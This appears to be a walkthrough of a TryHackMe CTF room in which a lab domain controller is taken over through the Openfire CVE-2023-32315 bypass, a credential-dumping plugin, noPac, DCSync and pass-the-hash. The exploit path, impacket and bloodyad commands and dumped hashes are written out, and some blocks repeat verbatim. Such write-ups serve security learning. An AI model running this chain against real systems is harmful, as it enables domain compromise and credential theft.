December 3, 2026
Enterprise — TryHackMe
Enterprise CTF Walkthrough: From Zero to Domain Admin via Openfire

By Eugene Softley (softsec)
2 min read
Target: Fire.windcorp.thm (10.113.168.39) — Windows Server 2019 Domain Controller Starting Point: No credentials, anonymous access only Goal: Obtain 3 flags and achieve Domain Admin
Phase 1: Reconnaissance
We start with nothing — just a single IP. A quick port scan reveals a Domain Controller packed with services:
PORT STATE SERVICE
53/tcp open DNS
88/tcp open Kerberos
135/tcp open RPC
389/tcp open LDAP
445/tcp open SMB
80/tcp open HTTP (IIS)
9090/tcp open Openfire Admin Console
9091/tcp open Openfire Admin Console (HTTPS)
5222/tcp open XMPPPORT STATE SERVICE
53/tcp open DNS
88/tcp open Kerberos
135/tcp open RPC
389/tcp open LDAP
445/tcp open SMB
80/tcp open HTTP (IIS)
9090/tcp open Openfire Admin Console
9091/tcp open Openfire Admin Console (HTTPS)
5222/tcp open XMPPA Domain Controller running Openfire XMPP and IIS? That's interesting. Let's probe each service.
We can authenticate anonymously to SMB (null session) and LDAP (RootDSE), but not enough to enumerate users or read sensitive data. All 15 discovered domain users require Kerberos pre-authentication — no AS-REP roasting candidates.
Phase 2: The Breakthrough — CVE-2023–32315
The Openfire Admin Console on port 9090 is version 4.5.1. A quick check reveals it's vulnerable to CVE-2023–32315, a path traversal that bypasses authentication:
/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jspThe %u002e encoding (Jetty Unicode bypass) lets us access the plugin manager without logging in. We can install plugins — but the JSP files they deploy are behind the auth filter.
The trick: Openfire plugins can contain Java classes that execute automatically when loaded via the Plugin.initializePlugin() method. We craft a plugin that reads JiveGlobals.getProperty("ldap.adminPassword") — returning the password already decrypted from memory — and writes it to C:\inetpub\wwwroot\pwd_output.txt (the IIS webroot).
Upload the JAR, browse to [http://10.113.168.39/pwd_output.txt](http://10.113.168.39/pwd_output.txt`), and we have domain credentials:
Username: openfireLDAP
Password: ***REDACTED***
Domain: windcorp.thmUsername: openfireLDAP
Password: ***REDACTED***
Domain: windcorp.thmPhase 3: Authenticated Enumeration
With valid domain creds, the AD floodgates open:
- Kerberoasting: No SPN-bearing user accounts — ruled out
- AS-REP Roasting: All accounts have preauth — ruled out
- ADCS: No Admin CA deployed — ruled out
- SMB Shares: Read access to Shared, NETLOGON, SYSVOL
The openfireLDAP account is a standard domain user — no admin privileges. But we can enumerate, and that's enough.
Phase 4: noPac — The Silver Bullet
Checking the DC for common AD vulns reveals it's vulnerable to noPac (CVE-2021–42278 + CVE-2021–42287), the sAMAccountName spoofing attack:
- Create a machine account using
impacket-addcomputer - Rename it to match the DC's hostname (exploits a Kerberos PAC validation flaw)
- Request a TGT — the KDC issues a ticket with the DC machine account's privileges
- DCSync — extract all domain Admin hashes
# Create machine account
addcomputer.py -method ADD -computer-name ‘WIN-ASYF6QKR7IL$’ \
-computer-pass ‘Summer2018!’ ‘windcorp.thm/openfireLDAP:***REDACTED***’
# Rename to DC name
bloodyad -d windcorp.thm -u openfireLDAP -p '***REDACTED***' \
- host 10.113.168.39 set object 'CN=WIN-ASYF6QKR7IL$,CN=Computers,DC=windcorp,DC=thm' \
sAMAccountName -v 'FIRE'
# Get TGT as the DC
impacket-getTGT 'windcorp.thm/FIRE$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
# DCSync
export KRB5CCNAME=FIRE\$.ccache
impacket-secretsdump -k -no-pass 'FIRE$@fire.windcorp.thm'
# Create machine account
addcomputer.py -method ADD -computer-name ‘WIN-ASYF6QKR7IL$’ \
-computer-pass ‘Summer2018!’ ‘windcorp.thm/openfireLDAP:***REDACTED***’
# Rename to DC name
bloodyad -d windcorp.thm -u openfireLDAP -p '***REDACTED***' \
- host 10.113.168.39 set object 'CN=WIN-ASYF6QKR7IL$,CN=Computers,DC=windcorp,DC=thm' \
sAMAccountName -v 'FIRE'
# Get TGT as the DC
impacket-getTGT 'windcorp.thm/FIRE$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
# DCSync
export KRB5CCNAME=FIRE\$.ccache
impacket-secretsdump -k -no-pass 'FIRE$@fire.windcorp.thm'Result:
Administrator:500:***REDACTED***
krbtgt:502:7e9df5e082c2637f7964cb60707f4ae4Administrator:500:***REDACTED***
krbtgt:502:7e9df5e082c2637f7964cb60707f4ae4Domain Admin achieved.
Phase 5: Flag Hunting
With the Administrator NTLM hash, we have full access via Pass-the-Hash:
# Flag 1 — Shared Share
smbclient //10.113.168.39/Shared -U ‘windcorp.thm/Administrator’ — pw-nt-hash
get “Flag 1.txt”
# → THM{***REDACTED***}
# Flag 2 - buse's Desktop
smbclient //10.113.168.39/Users -U 'windcorp.thm/Administrator' - pw-nt-hash
cd buse\Desktop
get "Flag 2.txt"
# → THM{***REDACTED***}
# Flag 3 - Administrator's Desktop
smbclient //10.113.168.39/C$ -U 'windcorp.thm/Administrator' - pw-nt-hash
cd Users\Administrator\Desktop
get Flag3.txt
# Flag 1 — Shared Share
smbclient //10.113.168.39/Shared -U ‘windcorp.thm/Administrator’ — pw-nt-hash
get “Flag 1.txt”
# → THM{***REDACTED***}
# Flag 2 - buse's Desktop
smbclient //10.113.168.39/Users -U 'windcorp.thm/Administrator' - pw-nt-hash
cd buse\Desktop
get "Flag 2.txt"
# → THM{***REDACTED***}
# Flag 3 - Administrator's Desktop
smbclient //10.113.168.39/C$ -U 'windcorp.thm/Administrator' - pw-nt-hash
cd Users\Administrator\Desktop
get Flag3.txtAttack Chain Summary
No Credentials
↓
CVE-2023–32315 → Openfire path traversal
↓
Custom Java Plugin → JiveGlobals.getProperty()
↓
openfireLDAP Credentials (plaintext)
↓
Authenticated LDAP/SMB Enumeration
↓
noPac (CVE-2021–42278 + CVE-2021–42287)
↓
DCSync → Administrator Hash
↓
Pass-the-Hash → All 3 Flags
No Credentials
↓
CVE-2023–32315 → Openfire path traversal
↓
Custom Java Plugin → JiveGlobals.getProperty()
↓
openfireLDAP Credentials (plaintext)
↓
Authenticated LDAP/SMB Enumeration
↓
noPac (CVE-2021–42278 + CVE-2021–42287)
↓
DCSync → Administrator Hash
↓
Pass-the-Hash → All 3 FlagsKey Lessons
- Web apps on DCs are gold — Openfire on a Domain Controller is a massive attack surface
- Callback-blocked? No problem — noPac and DCSync are purely outbound attacks that work even when the target can't route back to you
- Plugin initialization > JSP execution — When a web app's auth filter blocks JSP access, a plugin's
initializePlugin()method runs outside the filter - Always check old CVEs — CVE-2023–32315 (Openfire) + CVE-2021–42278/42287 (noPac) are both years old and still devastating